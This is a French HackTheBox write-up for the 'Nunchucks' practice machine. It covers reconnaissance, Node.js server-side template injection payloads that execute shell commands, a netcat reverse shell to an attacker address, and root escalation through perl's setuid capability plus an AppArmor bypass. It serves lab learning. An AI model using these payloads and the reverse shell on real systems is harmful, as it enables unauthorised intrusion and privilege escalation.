> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md).

# Compte rendu HackTheBox de Nunchucks

{% hint style="warning" %}
**Compétences :**

* NodeJS SSTI (injection de modèle côté serveur)
* Contournement du profil AppArmor (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/850b57298896d7d26f32e821b146c34b6ec5b820" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/dbf10ebfd49604e67ec928c9acb2c4dbd7843ce6" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.122 -oG allPorts
```

<figure><img src="/files/f3073e2c8e8ce5814678181d850fb459e43268d3" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :** En utilisant la fonction extractport pour afficher de manière synthétique les ports ouverts et les copier dans le presse-papiers.

<figure><img src="/files/62fcd01d9bb5599d32d7a5ce698ba651370cc2df" alt=""><figcaption></figcaption></figure>

**Analyse des versions de ports avec Nmap :** Utilisation de Nmap pour analyser les versions des ports et extraire les informations dans le fichier « targeted » :

```bash
nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
```

<figure><img src="/files/4c0348c49fbaae3cf0ad7a1679f163268cbabd6f" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` .

<figure><img src="/files/55702c6ff1c5c0a8e5c76ed56e5e29e8ca50d98f" alt="" width="563"><figcaption></figcaption></figure>

### Port 443 - HTTPS

<figure><img src="/files/63de0cb7395585f6cb2fa154b875775b4ef6d50d" alt=""><figcaption></figcaption></figure>

Nous trouvons un panneau de connexion, mais aucun identifiant connu.

<figure><img src="/files/49cb576d143ede4054d66788bd767f9bfbf2574a" alt="" width="563"><figcaption></figcaption></figure>

### Fuzzing de VHost - Gobuster

Nous effectuons **fuzzing** de sous-domaines pour identifier d’éventuels services cachés :

```bash
gobuster vhost -u https://nunchucks.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -k
```

<figure><img src="/files/cb25f0f536d3321b631bf62c611b8b838a915100" alt=""><figcaption></figcaption></figure>

Nous trouvons le sous-domaine **store.nunchucks.htb**.

<figure><img src="/files/a826eb5582866f4bc68e6b6d67e5ec7fb70c2d48" alt=""><figcaption></figcaption></figure>

## Vulnérabilité SSTI (Node.js)

Nous remarquons une fonctionnalité permettant d’entrer une adresse e-mail pour s’abonner à une newsletter. La réponse du serveur affiche directement notre saisie, ce qui suggère une possible **Injection de modèle côté serveur (SSTI)**.

<figure><img src="/files/68d3c897cf7d4abde2eb81c49532aecfa9c3d120" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b61f3d6c69f5efb8a426cb1ce03c9e84150ee5e5" alt=""><figcaption></figcaption></figure>

#### Tests de vulnérabilité

Nous interceptons la requête avec **Burp Suite** et tester une SSTI classique :

<figure><img src="/files/b56b5eed22628636c9e1a8d249ac09afa9c093ea" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}
```

Si la réponse affiche `81`, alors l’application est vulnérable, ce qui est le cas ici.

<figure><img src="/files/8c9a90dbf2f1cacd16edbaacb56696fc7d4492c8" alt=""><figcaption></figcaption></figure>

### Lecture `/etc/passwd`

Nous utilisons la charge utile suivante pour afficher le contenu de `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```

{% endcode %}

<figure><img src="/files/eebfb49f7d05591ef9a18f35c6fe802cb35ba584" alt=""><figcaption></figcaption></figure>

#### Récupération de l’utilisateur actuel

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```

{% endcode %}

Nous obtenons `david`.

<figure><img src="/files/30e4847eb7403bd27161c51e373563b8fbb2f47f" alt=""><figcaption></figcaption></figure>

### Reverse shell via SSTI (Node.js)

Démarrage de l’écoute sur le port **4444**:

```bash
nc -nlvp 4444
```

Envoyez la charge utile de reverse shell :

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```

{% endcode %}

Accès à la machine cible

<figure><img src="/files/625c6813c808cf005a1684f50902b69253499314" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt

<figure><img src="/files/9fcd7ca195d879bc4a47c264f1185066ed098041" alt="" width="517"><figcaption></figcaption></figure>

#### Stabilisation du terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Élévation de privilègesS

### Exploitation de **Capacités** sur Perl

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#capabilities>" %}

Nous listons les **capacités** disponibles :

```bash
getcap -r / 2>/dev/null
```

Nous remarquons que `perl` dispose de permissions spéciales.

<figure><img src="/files/0140611f2d78d2129528dd4bc5b1f2c40ad4f79a" alt=""><figcaption></figcaption></figure>

**Exécution d’une commande en tant que root**

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```

Nous obtenons **root**.

<figure><img src="/files/f9592b7ad5ffa8289214b0446a2498d82e72b029" alt=""><figcaption></figcaption></figure>

### Contournement d’AppArmor

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```

<figure><img src="/files/712229b034b6f65f1dc5fcc62df2d638a6b505ab" alt=""><figcaption></figcaption></figure>

Le `/usr/bin/perl` le binaire est restreint par **AppArmor**

<figure><img src="/files/f28209c160dc496b794f6a1e1a8952dd8ebf2edf" alt=""><figcaption></figcaption></figure>

Exploiter un [bogue AppArmor](https://bugs.launchpad.net/apparmor/+bug/1911431) pour contourner la restriction en créant un script :

```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```

<figure><img src="/files/7066a9784071e8072f7a286c4914dd7d06b38ccb" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/8aecc9b75ca907005d4850274eb45d9766633de9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/941bdec4a08732ee3636afc4063e03055b0ee4a3" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
